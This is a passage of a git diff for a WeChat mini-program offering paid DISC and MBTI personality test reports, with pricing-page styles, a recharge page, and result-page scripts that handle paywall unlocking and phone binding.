padding: 24rpx 32rpx; + margin: 24rpx; + border-radius: 16rpx; +} + +.tabs-list { + display: flex; + background-color: #f5f5f5; + border-radius: 12rpx; + padding: 8rpx; +} + +.tab-item { + flex: 1; + display: flex; + align-items: center; + justify-content: center; + padding: 16rpx 24rpx; + border-radius: 8rpx; + transition: all 0.3s; +} + +.tab-item.active { + background-color: #fff; +} + +.tab-icon { + font-size: 32rpx; + margin-right: 8rpx; +} + +.tab-text { + font-size: 28rpx; + color: #666; +} + +.tab-item.active .tab-text { + color: #333; + font-weight: 500; +} + +.loading-wrap { + padding: 80rpx; + text-align: center; +} + +.loading-text { + font-size: 28rpx; + color: #999; +} + +.empty-tip { + padding: 60rpx 24rpx; + text-align: center; + font-size: 28rpx; + color: #999; +} + +/* 定价卡片(已去除个人版/企业版彩色边框,统一灰色细边) */ +.pricing-card { + background-color: #fff; + border-radius: 16rpx; + padding: 40rpx; + margin-bottom: 24rpx; + border: 2rpx solid #e5e5e5; +} + +.pricing-card.featured, +.pricing-card.featured-blue { + border-color: #e5e5e5; + border-width: 2rpx; +} + +/* 企业版 header flex 布局 */ +.card-header-flex { + display: flex; + justify-content: space-between; + align-items: flex-start; + margin-bottom: 32rpx; +} + +.header-left { + flex: 1; +} + +.plan-title-sm { + font-size: 36rpx; + font-weight: bold; + color: #333; + display: block; + margin-bottom: 8rpx; +} + +.plan-desc { + font-size: 24rpx; + color: #666; + display: block; +} + +.header-right { + text-align: right; +} + +.price-amount-small { + font-size: 40rpx; + font-weight: bold; + color: #333; + display: block; + margin-bottom: 4rpx; +} + +.price-limit { + font-size: 22rpx; + color: #999; + display: block; +} + +.check-icon.blue { + background-color: #2563eb; +} + +.purchase-button.secondary { + background-color: #2563eb; +} + +.card-header { + text-align: center; + margin-bottom: 32rpx; +} + +.plan-title { + font-size: 40rpx; + font-weight: bold; + color: #333; + display: block; + margin-bottom: 20rpx; +} + +.price-section { + display: flex; + align-items: baseline; + justify-content: center; + margin-bottom: 16rpx; +} + +.price-symbol { + font-size: 40rpx; + color: #333; + font-weight: bold; +} + +.price-amount { + font-size: 72rpx; + font-weight: bold; + color: #333; + margin: 0 8rpx; +} + +.price-unit { + font-size: 28rpx; + color: #666; +} + +.plan-subtitle { + font-size: 26rpx; + color: #666; + display: block; +} + +/* 功能列表 */ +.features-list { + margin-bottom: 32rpx; +} + +.feature-item { + display: flex; + align-items: flex-start; + margin-bottom: 20rpx; +} + +.feature-item:last-child { + margin-bottom: 0; +} + +.check-icon { + width: 32rpx; + height: 32rpx; + border-radius: 50%; + background-color: #22c55e; + color: #fff; + font-size: 20rpx; + display: flex; + align-items: center; + justify-content: center; + margin-right: 16rpx; + flex-shrink: 0; + text-align: center; +} + +.feature-text { + flex: 1; + font-size: 26rpx; + color: #666; + line-height: 1.6; +} + +/* 购买按钮 */ +.purchase-button { + width: 100%; + padding: 28rpx; + border-radius: 12rpx; + text-align: center; + box-sizing: border-box; +} + +.purchase-button.primary { + background-color: #9333ea; +} + +.purchase-button .button-text { + font-size: 32rpx; + color: #fff; + font-weight: 500; +} + +/* 分润机制 */ +.commission-section { + background-color: #f9fafb; + border-radius: 16rpx; + padding: 32rpx; + margin: 24rpx; +} + +.commission-header { + display: flex; + align-items: center; + margin-bottom: 24rpx; +} + +.commission-icon { + font-size: 32rpx; + margin-right: 12rpx; +} + +.commission-title { + font-size: 32rpx; + font-weight: 500; + color: #333; +} + +.commission-list { + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.commission-item { + display: flex; + justify-content: space-between; + align-items: center; +} + +.commission-label { + font-size: 26rpx; + color: #666; +} + +.commission-value { + font-size: 28rpx; + font-weight: 500; + color: #333; +} + +/* VIP套餐网格 */ +.vip-cards { + display: grid; + grid-template-columns: repeat(2, 1fr); + gap: 16rpx; + margin-bottom: 32rpx; +} + +.vip-card { + position: relative; + background: #fff; + border: 2rpx solid #e5e5e5; + border-radius: 16rpx; + padding: 24rpx; + text-align: center; +} + +.vip-card.selected { + border-color: #9333ea; + background: #faf5ff; +} + +.vip-card.hot { + border-color: #f59e0b; +} + +.vip-tag { + position: absolute; + top: 8rpx; + right: 8rpx; + background: #9333ea; + color: #fff; + font-size: 18rpx; + padding: 4rpx 12rpx; + border-radius: 8rpx; +} + +.vip-hot-tag, +.vip-best-tag { + position: absolute; + top: -2rpx; + left: 50%; + transform: translateX(-50%); + background: #f59e0b; + color: #fff; + font-size: 18rpx; + padding: 4rpx 16rpx; + border-radius: 0 0 8rpx 8rpx; +} + +.vip-best-tag { + background: #ef4444; +} + +.vip-name { + display: block; + font-size: 26rpx; + color: #333; + font-weight: 500; + margin-top: 16rpx; + margin-bottom: 12rpx; +} + +.vip-price { + display: flex; + align-items: baseline; + justify-content: center; + margin-bottom: 8rpx; +} + +.vip-price .price-symbol { + font-size: 28rpx; + color: #333; +} + +.vip-price .price-num { + font-size: 48rpx; + font-weight: bold; + color: #333; +} + +.vip-original { + display: block; + font-size: 22rpx; + color: #999; + text-decoration: line-through; +} + +.vip-avg { + display: block; + font-size: 22rpx; + color: #9333ea; + margin-top: 4rpx; +} + +/* 次数包 */ +.count-cards { + display: flex; + gap: 16rpx; +} + +.count-card { + flex: 1; + position: relative; + background: #fff; + border: 2rpx solid #e5e5e5; + border-radius: 16rpx; + padding: 24rpx 16rpx; + text-align: center; +} + +.count-card.selected { + border-color: #9333ea; + background: #faf5ff; +} + +.count-save { + position: absolute; + top: -2rpx; + right: -2rpx; + background: #ef4444; + color: #fff; + font-size: 18rpx; + padding: 4rpx 12rpx; + border-radius: 0 8rpx 0 8rpx; +} + +.count-num-big { + font-size: 48rpx; + font-weight: bold; + color: #333; +} + +.count-unit { + font-size: 24rpx; + color: #999; + display: block; + margin-bottom: 12rpx; +} + +.count-price { + display: flex; + align-items: baseline; + justify-content: center; +} + +.count-price .price-symbol { + font-size: 24rpx; + color: #333; +} + +.count-price .price-num { + font-size: 36rpx; + font-weight: bold; + color: #333; +} + +/* 单次购买 */ +.single-list { + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.single-item { + display: flex; + align-items: center; + background: #fff; + border-radius: 16rpx; + padding: 24rpx; + border: 2rpx solid #e5e5e5; +} + +.single-icon { + font-size: 36rpx; + margin-right: 16rpx; +} + +.single-info { + flex: 1; +} + +.single-name { + display: block; + font-size: 28rpx; + font-weight: 500; + color: #333; +} + +.single-desc { + display: block; + font-size: 22rpx; + color: #999; + margin-top: 4rpx; +} + +.single-price { + text-align: center; +} + +.single-price .price-num { + display: block; + font-size: 28rpx; + font-weight: bold; + color: #9333ea; +} + +.price-action { + display: block; + font-size: 22rpx; + color: #9333ea; +} + +/* 底部安全提示 */ +.safety-tips { + display: flex; + justify-content: center; + gap: 32rpx; + padding: 24rpx; + margin: 24rpx; +} + +.safety-item { + display: flex; + align-items: center; + gap: 8rpx; +} + +.safety-icon { + font-size: 24rpx; +} + +.safety-text { + font-size: 22rpx; + color: #999; +} + +.privileges { + background: #fff; + border-radius: 16rpx; + padding: 32rpx; +} + +.privilege-list { + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.privilege-item { + display: flex; + align-items: center; + gap: 12rpx; +} + +.privilege-icon { + font-size: 28rpx; +} + +.privilege-text { + font-size: 26rpx; + color: #333; +} + +.bottom-placeholder { + height: 160rpx; +} + +/* 底部购买栏 */ +.bottom-bar { + position: fixed; + bottom: 0; + left: 0; + right: 0; + background: #fff; + display: flex; + align-items: center; + padding: 24rpx 32rpx; + padding-bottom: calc(24rpx + env(safe-area-inset-bottom)); + box-shadow: 0 -2rpx 12rpx rgba(0, 0, 0, 0.06); + z-index: 100; +} + +.price-info { + flex: 1; + display: flex; + align-items: baseline; +} + +.total-label { + font-size: 28rpx; + color: #666; +} + +.total-price { + font-size: 40rpx; + font-weight: bold; + color: #e63946; +} + +.buy-btn { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + padding: 24rpx 48rpx; + border-radius: 48rpx; + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); +} + +.buy-btn.disabled { + opacity: 0.6; +} + +.buy-btn-text { + font-size: 30rpx; + font-weight: 600; + color: #fff; +} diff --git a/miniprogram/pages/recharge/index.json b/miniprogram/pages/recharge/index.json index bbe8410..b9c0534 100644 --- a/miniprogram/pages/recharge/index.json +++ b/miniprogram/pages/recharge/index.json @@ -1,3 +1,3 @@ -{ - "navigationBarTitleText": "企业余额充值" -} +{ + "navigationBarTitleText": "企业余额充值" +} diff --git a/miniprogram/pages/recharge/index.wxml b/miniprogram/pages/recharge/index.wxml index c146da3..6129271 100644 --- a/miniprogram/pages/recharge/index.wxml +++ b/miniprogram/pages/recharge/index.wxml @@ -1,20 +1,20 @@ - - - 企业余额充值 - 扫码后在小程序内完成支付,支付成功后自动进入企业余额 - - - 充值金额 - ¥{{amountYuan}} - - - - 企业名称 - {{enterpriseName || ('企业 #' + enterpriseId)}} - - - - - + + + 企业余额充值 + 扫码后在小程序内完成支付,支付成功后自动进入企业余额 + + + 充值金额 + ¥{{amountYuan}} + + + + 企业名称 + {{enterpriseName || ('企业 #' + enterpriseId)}} + + + + + diff --git a/miniprogram/pages/recharge/index.wxss b/miniprogram/pages/recharge/index.wxss index 88ca441..8f8c2d6 100644 --- a/miniprogram/pages/recharge/index.wxss +++ b/miniprogram/pages/recharge/index.wxss @@ -1,106 +1,106 @@ -.recharge-page { - min-height: 100vh; - padding: 40rpx 28rpx; - background: linear-gradient(180deg, #f5f3ff 0%, #ffffff 100%); - box-sizing: border-box; -} - -.card { - background: #ffffff; - border-radius: 32rpx; - padding: 40rpx 32rpx; - box-shadow: 0 20rpx 60rpx rgba(124, 58, 237, 0.08); - border: 2rpx solid rgba(124, 58, 237, 0.06); -} - -.title { - font-size: 40rpx; - font-weight: 700; - color: #111827; -} - -.subtitle { - margin-top: 16rpx; - font-size: 26rpx; - line-height: 1.7; - color: #6b7280; -} - -.amount-box { - margin-top: 36rpx; - padding: 32rpx; - background: #f8fafc; - border-radius: 24rpx; - text-align: center; -} - -.amount-label { - display: block; - font-size: 24rpx; - color: #6b7280; -} - -.amount-value { - display: block; - margin-top: 12rpx; - font-size: 64rpx; - font-weight: 700; - color: #7c3aed; -} - -.meta-row { - display: flex; - justify-content: space-between; - align-items: center; - margin-top: 28rpx; - padding: 24rpx 8rpx 0; - font-size: 26rpx; - gap: 24rpx; -} - -.meta-label { - color: #6b7280; -} - -.meta-value { - color: #111827; - font-weight: 600; - max-width: 420rpx; - text-align: right; - line-height: 1.5; -} - -.pay-btn { - margin-top: 44rpx; - height: 96rpx; - line-height: 96rpx; - border-radius: 999rpx; - background: linear-gradient(135deg, #7c3aed 0%, #8b5cf6 55%, #a855f7 100%); - color: #ffffff; - font-size: 30rpx; - font-weight: 600; - box-shadow: 0 18rpx 36rpx rgba(124, 58, 237, 0.28); - border: none; - display: flex; - align-items: center; - justify-content: center; -} - -.pay-btn::after { - border: none; -} - -.pay-btn-text { - position: relative; - padding-right: 28rpx; -} - -.pay-btn-text::after { - content: '>'; - position: absolute; - right: 0; - top: 50%; - transform: translateY(-50%); - font-size: 24rpx; - opacity: 0.9; -} +.recharge-page { + min-height: 100vh; + padding: 40rpx 28rpx; + background: linear-gradient(180deg, #f5f3ff 0%, #ffffff 100%); + box-sizing: border-box; +} + +.card { + background: #ffffff; + border-radius: 32rpx; + padding: 40rpx 32rpx; + box-shadow: 0 20rpx 60rpx rgba(124, 58, 237, 0.08); + border: 2rpx solid rgba(124, 58, 237, 0.06); +} + +.title { + font-size: 40rpx; + font-weight: 700; + color: #111827; +} + +.subtitle { + margin-top: 16rpx; + font-size: 26rpx; + line-height: 1.7; + color: #6b7280; +} + +.amount-box { + margin-top: 36rpx; + padding: 32rpx; + background: #f8fafc; + border-radius: 24rpx; + text-align: center; +} + +.amount-label { + display: block; + font-size: 24rpx; + color: #6b7280; +} + +.amount-value { + display: block; + margin-top: 12rpx; + font-size: 64rpx; + font-weight: 700; + color: #7c3aed; +} + +.meta-row { + display: flex; + justify-content: space-between; + align-items: center; + margin-top: 28rpx; + padding: 24rpx 8rpx 0; + font-size: 26rpx; + gap: 24rpx; +} + +.meta-label { + color: #6b7280; +} + +.meta-value { + color: #111827; + font-weight: 600; + max-width: 420rpx; + text-align: right; + line-height: 1.5; +} + +.pay-btn { + margin-top: 44rpx; + height: 96rpx; + line-height: 96rpx; + border-radius: 999rpx; + background: linear-gradient(135deg, #7c3aed 0%, #8b5cf6 55%, #a855f7 100%); + color: #ffffff; + font-size: 30rpx; + font-weight: 600; + box-shadow: 0 18rpx 36rpx rgba(124, 58, 237, 0.28); + border: none; + display: flex; + align-items: center; + justify-content: center; +} + +.pay-btn::after { + border: none; +} + +.pay-btn-text { + position: relative; + padding-right: 28rpx; +} + +.pay-btn-text::after { + content: '>'; + position: absolute; + right: 0; + top: 50%; + transform: translateY(-50%); + font-size: 24rpx; + opacity: 0.9; +} diff --git a/miniprogram/pages/result/disc.js b/miniprogram/pages/result/disc.js index 2e48138..41326fc 100644 --- a/miniprogram/pages/result/disc.js +++ b/miniprogram/pages/result/disc.js @@ -1,171 +1,157 @@ -// pages/result/disc.js - DISC结果页(支持付费墙 + 历史详情拉取) -const app = getApp() -const payment = require('../../utils/payment') -const { isProfileComplete } = require('../../utils/phoneAuth.js') - -function toIntPercent(v) { - if (v == null) return 0 - const n = typeof v === 'number' ? v : Number(v) - return Number.isFinite(n) ? Math.round(n) : 0 -} - -function withPercentagesInt(data) { - if (!data) return data - const p = data.percentages || {} - const out = { ...data } - out.percentagesInt = { - D: toIntPercent(p.D ?? p.d), - I: toIntPercent(p.I ?? p.i), - S: toIntPercent(p.S ?? p.s), - C: toIntPercent(p.C ?? p.c) - } - return out -} - -Page({ - data: { - result: null, - typeList: [ - { type: 'D', label: 'D型 - 支配型', colorClass: 'fill-d' }, - { type: 'I', label: 'I型 - 影响型', colorClass: 'fill-i' }, - { type: 'S', label: 'S型 - 稳健型', colorClass: 'fill-s' }, - { type: 'C', label: 'C型 - 谨慎型', colorClass: 'fill-c' } - ], - payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 }, - testResultId: null, - hasReloadedAfterPay: false, - isProfileComplete: false, - maintenanceMode: false - }, - - onShow() { - const maintenanceMode = !!(getApp().globalData && getApp().globalData.maintenanceMode) - this.setData({ isProfileComplete: isProfileComplete(), maintenanceMode }) - }, - - onLoad(options) { - const id = options && options.id - const type = options && options.type - if (id && type === 'disc') { - this.setData({ testResultId: id }) - this.loadDetail(id) - return - } - const result = wx.getStorageSync('discResult') - if (result) { - this.setData({ result: withPercentagesInt(result) }) - this.initPayInfoFromRuntime('disc') - } else { - wx.showToast({ title: '暂无测试结果', icon: 'none' }) - setTimeout(() => wx.navigateBack(), 1500) - } - }, - - loadDetail(id) { - const apiBase = app.globalData?.apiBase || '' - const token = app.globalData?.token || wx.getStorageSync('token') || '' - if (!apiBase) { wx.showToast({ title: '配置异常', icon: 'none' }); return } - wx.showLoading({ title: '加载中...' }) - wx.request({ - url: `${apiBase}/api/test/detail`, - method: 'GET', - header: token ? { Authorization: `Bearer ${token}` } : {}, - data: { id }, - success: (res) => { - if (res.statusCode === 200 && res.data && res.data.code === 200) { - const payload = res.data.data || {} - const data = payload.data || payload - const isPaid = !!payload.isPaid - const paidAmount = payload.paidAmount != null ? Number(payload.paidAmount) : 0 - const amountYuan = payload.amountYuan != null ? Number(payload.amountYuan) : (paidAmount > 0 ? paidAmount / 100 : 0) - const needPaymentToUnlock = payload.needPaymentToUnlock === true || (!!payload.requiresPayment && !isPaid && paidAmount > 0) - this.setData({ result: withPercentagesInt(data) }) - const payInfo = { - requiresPayment: needPaymentToUnlock, - isPaid, - amountYuan: needPaymentToUnlock ? amountYuan : 0 - } - const maintenanceMode = !!(getApp().globalData && getApp().globalData.maintenanceMode) - this.setData({ payInfo, isProfileComplete: isProfileComplete(), maintenanceMode }) - } else { - wx.showToast({ title: res.data?.message || '加载失败', icon: 'none' }) - } - }, - fail: () => wx.showToast({ title: '网络错误', icon: 'none' }), - complete: () => wx.hideLoading() - }) - }, - - initPayInfoFromRuntime(testType) { - app.getRuntimeConfig() - .then((cfg) => { - const reportRequires = cfg.reportRequiresPayment || {} - const pricing = cfg.pricing || {} - const requiresPayment = !!(reportRequires && reportRequires[testType]) - const amountYuan = Number(pricing[testType]) || (requiresPayment ? 1.98 : 0) - this.setData({ - payInfo: { requiresPayment, isPaid: false, amountYuan } - }) - }) - .catch(() => this.setData({ payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 } })) - }, - - goToCompleteProfile() { - wx.navigateTo({ url: '/pages/user-profile/index' }) - }, - - unlockFullReport() { - const { payInfo, testResultId, hasReloadedAfterPay, isProfileComplete } = this.data - if (!isProfileComplete) return - if (!payInfo.requiresPayment || payInfo.isPaid) return - app.ensureLogin && app.ensureLogin().then((logged) => { - if (!logged) { wx.showToast({ title: '请先登录', icon: 'none' }); return } - payment.purchaseDiscTest({ - testResultId: testResultId || undefined, - success: () => { - wx.showToast({ title: '已解锁完整报告', icon: 'success' }) - this.setData({ 'payInfo.isPaid': true }) - if (testResultId && !hasReloadedAfterPay) { - this.setData({ hasReloadedAfterPay: true }) - setTimeout(() => this.loadDetail(testResultId), 500) - } - }, - fail: () => {} - }) - }) - }, - - retakeTest() { - if (!this.data.testResultId) { - wx.removeStorageSync('discResult') - } - wx.navigateTo({ url: '/pages/test/disc' }) - }, - - goHome() { - const scope = (getApp().globalData && getApp().globalData.appScope) || 'personal' - if (scope === 'enterprise') { - wx.navigateTo({ url: '/pages/enterprise/index' }) - } else { - wx.switchTab({ url: '/pages/index/index' }) - } - }, - - onShareAppMessage() { - const result = this.data.result - const { getSharePathByScope } = require('../../utils/share') - return { - title: `我的DISC类型是${result?.dominantType}型(${result?.description?.title}),来测测你的吧!`, - path: getSharePathByScope('/pages/index/index') - } - }, - - onShareTimeline() { - const result = this.data.result - const { buildShareQuery } = require('../../utils/share') - return { - title: `我的DISC类型是${result?.dominantType}型(${result?.description?.title}),来测测你的吧!`, - query: buildShareQuery() - } - } -}) +// pages/result/disc.js - DISC结果页(支持付费墙 + 历史详情拉取) +const app = getApp() +const payment = require('../../utils/payment') + +function toIntPercent(v) { + if (v == null) return 0 + const n = typeof v === 'number' ? v : Number(v) + return Number.isFinite(n) ? Math.round(n) : 0 +} + +function withPercentagesInt(data) { + if (!data) return data + const p = data.percentages || {} + const out = { ...data } + out.percentagesInt = { + D: toIntPercent(p.D ?? p.d), + I: toIntPercent(p.I ?? p.i), + S: toIntPercent(p.S ?? p.s), + C: toIntPercent(p.C ?? p.c) + } + return out +} + +Page({ + data: { + result: null, + typeList: [ + { type: 'D', label: 'D型 - 支配型', colorClass: 'fill-d' }, + { type: 'I', label: 'I型 - 影响型', colorClass: 'fill-i' }, + { type: 'S', label: 'S型 - 稳健型', colorClass: 'fill-s' }, + { type: 'C', label: 'C型 - 谨慎型', colorClass: 'fill-c' } + ], + payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 }, + testResultId: null, + hasReloadedAfterPay: false + }, + + onLoad(options) { + const id = options && options.id + const type = options && options.type + if (id && type === 'disc') { + this.setData({ testResultId: id }) + this.loadDetail(id) + return + } + const result = wx.getStorageSync('discResult') + if (result) { + this.setData({ result: withPercentagesInt(result) }) + this.initPayInfoFromRuntime('disc') + } else { + wx.showToast({ title: '暂无测试结果', icon: 'none' }) + setTimeout(() => wx.navigateBack(), 1500) + } + }, + + loadDetail(id) { + const apiBase = app.globalData?.apiBase || '' + const token = app.globalData?.token || wx.getStorageSync('token') || '' + if (!apiBase) { wx.showToast({ title: '配置异常', icon: 'none' }); return } + wx.showLoading({ title: '加载中...' }) + wx.request({ + url: `${apiBase}/api/test/detail`, + method: 'GET', + header: token ? { Authorization: `Bearer ${token}` } : {}, + data: { id }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const payload = res.data.data || {} + const data = payload.data || payload + const isPaid = !!payload.isPaid + const paidAmount = payload.paidAmount != null ? Number(payload.paidAmount) : 0 + const amountYuan = payload.amountYuan != null ? Number(payload.amountYuan) : (paidAmount > 0 ? paidAmount / 100 : 0) + const needPaymentToUnlock = payload.needPaymentToUnlock === true || (!!payload.requiresPayment && !isPaid && paidAmount > 0) + this.setData({ result: withPercentagesInt(data) }) + const payInfo = { + requiresPayment: needPaymentToUnlock, + isPaid, + amountYuan: needPaymentToUnlock ? amountYuan : 0 + } + this.setData({ payInfo }) + } else { + wx.showToast({ title: res.data?.message || '加载失败', icon: 'none' }) + } + }, + fail: () => wx.showToast({ title: '网络错误', icon: 'none' }), + complete: () => wx.hideLoading() + }) + }, + + initPayInfoFromRuntime(testType) { + app.getRuntimeConfig() + .then((cfg) => { + const reportRequires = cfg.reportRequiresPayment || {} + const pricing = cfg.pricing || {} + const requiresPayment = !!(reportRequires && reportRequires[testType]) + const amountYuan = Number(pricing[testType]) || (requiresPayment ? 1.98 : 0) + this.setData({ + payInfo: { requiresPayment, isPaid: false, amountYuan } + }) + }) + .catch(() => this.setData({ payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 } })) + }, + + unlockFullReport() { + const { payInfo, testResultId, hasReloadedAfterPay } = this.data + if (!payInfo.requiresPayment || payInfo.isPaid) return + app.ensureLogin && app.ensureLogin().then((logged) => { + if (!logged) { wx.showToast({ title: '请先登录', icon: 'none' }); return } + payment.purchaseDiscTest({ + testResultId: testResultId || undefined, + success: () => { + wx.showToast({ title: '已解锁完整报告', icon: 'success' }) + this.setData({ 'payInfo.isPaid': true }) + if (testResultId && !hasReloadedAfterPay) { + this.setData({ hasReloadedAfterPay: true }) + setTimeout(() => this.loadDetail(testResultId), 500) + } + }, + fail: () => {} + }) + }) + }, + + retakeTest() { + if (!this.data.testResultId) { + wx.removeStorageSync('discResult') + } + wx.navigateTo({ url: '/pages/test/disc' }) + }, + + goHome() { + const scope = (getApp().globalData && getApp().globalData.appScope) || 'personal' + if (scope === 'enterprise') { + wx.navigateTo({ url: '/pages/enterprise/index' }) + } else { + wx.switchTab({ url: '/pages/index/index' }) + } + }, + + onShareAppMessage() { + const result = this.data.result + const { getSharePathByScope } = require('../../utils/share') + return { + title: `我的DISC类型是${result?.dominantType}型(${result?.description?.title}),来测测你的吧!`, + path: getSharePathByScope('/pages/index/index') + } + }, + + onShareTimeline() { + const result = this.data.result + const { buildShareQuery } = require('../../utils/share') + return { + title: `我的DISC类型是${result?.dominantType}型(${result?.description?.title}),来测测你的吧!`, + query: buildShareQuery() + } + } +}) diff --git a/miniprogram/pages/result/disc.json b/miniprogram/pages/result/disc.json index adb3138..3ad7bf6 100644 --- a/miniprogram/pages/result/disc.json +++ b/miniprogram/pages/result/disc.json @@ -1,6 +1,6 @@ -{ - "navigationBarTitleText": "DISC结果", - "navigationBarBackgroundColor": "#3B82F6", - "navigationBarTextStyle": "white", - "usingComponents": {} -} +{ + "navigationBarTitleText": "DISC结果", + "navigationBarBackgroundColor": "#3B82F6", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/miniprogram/pages/result/disc.wxml b/miniprogram/pages/result/disc.wxml index dca2692..316d077 100644 --- a/miniprogram/pages/result/disc.wxml +++ b/miniprogram/pages/result/disc.wxml @@ -1,92 +1,81 @@ - - - - - - - 您的DISC性格类型 - {{result.dominantType}}{{result.secondaryType ? ' + ' + result.secondaryType : ''}} - {{result.description.description}} - - - - - - 完整DISC报告 - • 四维得分详情 - • 性格特征与优劣势 - • 职业匹配建议 - - - - 完善资料 - - - 解锁完整报告 - ¥{{payInfo.amountYuan}} / 次 - - - - - - DISC得分详情 - - - {{item.label}} - {{result.percentagesInt[item.type] != null ? result.percentagesInt[item.type] + '%' : '0%'}} - - - - - - - - - - 主要性格特征分析 - - 优势 - - - {{item}} - - - - 需要注意的方面 - - - {{item}} - - - - - - 职业匹配度分析 - - - {{item}} - - - - - - - 重新测试 - - - 返回首页 - - - - - + + + + + + + 您的DISC性格类型 + {{result.dominantType}}{{result.secondaryType ? ' + ' + result.secondaryType : ''}} + {{result.description.description}} + + + + + + 完整DISC报告 + • 四维得分详情 + • 性格特征与优劣势 + • 职业匹配建议 + + + + 解锁完整报告 + ¥{{payInfo.amountYuan}} / 次 + + + + + + DISC得分详情 + + + {{item.label}} + {{result.percentagesInt[item.type] != null ? result.percentagesInt[item.type] + '%' : '0%'}} + + + + + + + + + + 主要性格特征分析 + + 优势 + + + {{item}} + + + + 需要注意的方面 + + + {{item}} + + + + + + 职业匹配度分析 + + + {{item}} + + + + + + + 重新测试 + + + 返回首页 + + + + + diff --git a/miniprogram/pages/result/mbti.js b/miniprogram/pages/result/mbti.js index 70551e6..65d6eae 100644 --- a/miniprogram/pages/result/mbti.js +++ b/miniprogram/pages/result/mbti.js @@ -1,231 +1,224 @@ -// pages/result/mbti.js - MBTI结果页(支持付费墙 + 历史详情拉取) -const app = getApp() -const payment = require('../../utils/payment') -const { hasPhone, bindPhoneByCode, isProfileComplete } = require('../../utils/phoneAuth.js') - -Page({ - data: { - result: null, - dimensions: [], - mbtiDesc: { - title: '', - description: '', - strengths: [], - weaknesses: [], - careers: [], - relationships: '' - }, - payInfo: { - requiresPayment: false, - isPaid: false, - amountYuan: 0 - }, - testResultId: null, - hasReloadedAfterPay: false, - hasPhone: false, - isProfileComplete: false, - maintenanceMode: false - }, - - onLoad(options) { - const id = options && options.id - const type = options && options.type - - if (id && type === 'mbti') { - this.setData({ testResultId: id }) - this.loadDetail(id) - return - } - - const result = wx.getStorageSync('mbtiResult') - if (result) { - this.applyResult(result) - this.initPayInfoFromRuntime('mbti') - } else { - wx.showToast({ title: '暂无测试结果', icon: 'none' }) - setTimeout(() => wx.navigateBack(), 1500) - } - }, - - onShow() { - const maintenanceMode = !!(getApp().globalData && getApp().globalData.maintenanceMode) - this.setData({ hasPhone: hasPhone(), isProfileComplete: isProfileComplete(), maintenanceMode }) - }, - - loadDetail(id) { - const apiBase = app.globalData?.apiBase || '' - const token = app.globalData?.token || wx.getStorageSync('token') || '' - if (!apiBase) { - wx.showToast({ title: '配置异常', icon: 'none' }) - return - } - wx.showLoading({ title: '加载中...' }) - wx.request({ - url: `${apiBase}/api/test/detail`, - method: 'GET', - header: token ? { Authorization: `Bearer ${token}` } : {}, - data: { id }, - success: (res) => { - if (res.statusCode === 200 && res.data && res.data.code === 200) { - const payload = res.data.data || {} - const data = payload.data || payload - const isPaid = !!payload.isPaid - const paidAmount = payload.paidAmount != null ? Number(payload.paidAmount) : 0 - const amountYuan = payload.amountYuan != null ? Number(payload.amountYuan) : (paidAmount > 0 ? paidAmount / 100 : 0) - const needPaymentToUnlock = payload.needPaymentToUnlock === true || (!!payload.requiresPayment && !isPaid && paidAmount > 0) - this.applyResult(data) - const payInfo = { - requiresPayment: needPaymentToUnlock, - isPaid, - amountYuan: needPaymentToUnlock ? amountYuan : 0 - } - const maintenanceMode = !!(getApp().globalData && getApp().globalData.maintenanceMode) - this.setData({ payInfo, isProfileComplete: isProfileComplete(), maintenanceMode }) - } else { - wx.showToast({ title: res.data?.message || '加载失败', icon: 'none' }) - } - }, - fail: () => wx.showToast({ title: '网络错误', icon: 'none' }), - complete: () => wx.hideLoading() - }) - }, - - applyResult(result) { - if (!result) return - const desc = result.description || {} - const dimensions = (result.dimensionScores && !result.locked) - ? [ - { key: 'EI', left: '外向(E)', right: '内向(I)', ...result.dimensionScores.EI }, - { key: 'SN', left: '感觉(S)', right: '直觉(N)', ...result.dimensionScores.SN }, - { key: 'TF', left: '思考(T)', right: '情感(F)', ...result.dimensionScores.TF }, - { key: 'JP', left: '判断(J)', right: '知觉(P)', ...result.dimensionScores.JP } - ] - : [] - this.setData({ - result, - dimensions, - mbtiDesc: { - title: desc.name || '', - description: desc.description || '', - strengths: desc.strengths || [], - weaknesses: desc.weaknesses || [], - careers: desc.careers || [], - relationships: desc.relationships || '' - } - }) - }, - - initPayInfoFromRuntime(testType) { - app.getRuntimeConfig() - .then((cfg) => { - const pricing = cfg.pricing || {} - const reportRequires = cfg.reportRequiresPayment || {} - const requiresPayment = !!(reportRequires && reportRequires[testType]) - const amountYuan = Number(pricing[testType]) || (requiresPayment ? 1.98 : 0) - this.setData({ - payInfo: { - requiresPayment, - isPaid: false, - amountYuan - } - }) - }) - .catch(() => { - this.setData({ - payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 } - }) - }) - }, - - unlockFullReport() { - const { payInfo, testResultId, hasReloadedAfterPay } = this.data - if (!payInfo.requiresPayment || payInfo.isPaid) return - app.ensureLogin && app.ensureLogin().then((logged) => { - if (!logged) { - wx.showToast({ title: '请先登录', icon: 'none' }) - return - } - payment.purchaseMbtiTest({ - testResultId: testResultId || undefined, - success: () => { - wx.showToast({ title: '已解锁完整报告', icon: 'success' }) - this.setData({ 'payInfo.isPaid': true }) - if (testResultId && !hasReloadedAfterPay) { - this.setData({ hasReloadedAfterPay: true }) - setTimeout(() => this.loadDetail(testResultId), 500) - } - }, - fail: () => {} - }) - }) - }, - - // 完善资料:用户点击后手动跳转,不强制 - goToCompleteProfile() { - wx.navigateTo({ url: '/pages/user-profile/index' }) - }, - - // 付费解锁按钮:就地触发微信手机号授权,然后调用 unlockFullReport - onGetPhoneNumberForMbtiPay(e) { - const { code, errMsg } = e.detail || {} - if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { - if (hasPhone()) { - this.unlockFullReport() - } else { - wx.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) - } - return - } - if (!code) { - if (hasPhone()) { - this.unlockFullReport() - } else { - wx.showToast({ title: '获取手机号失败', icon: 'none' }) - } - return - } - bindPhoneByCode(code) - .then(() => { - this.setData({ hasPhone: true }) - this.unlockFullReport() - }) 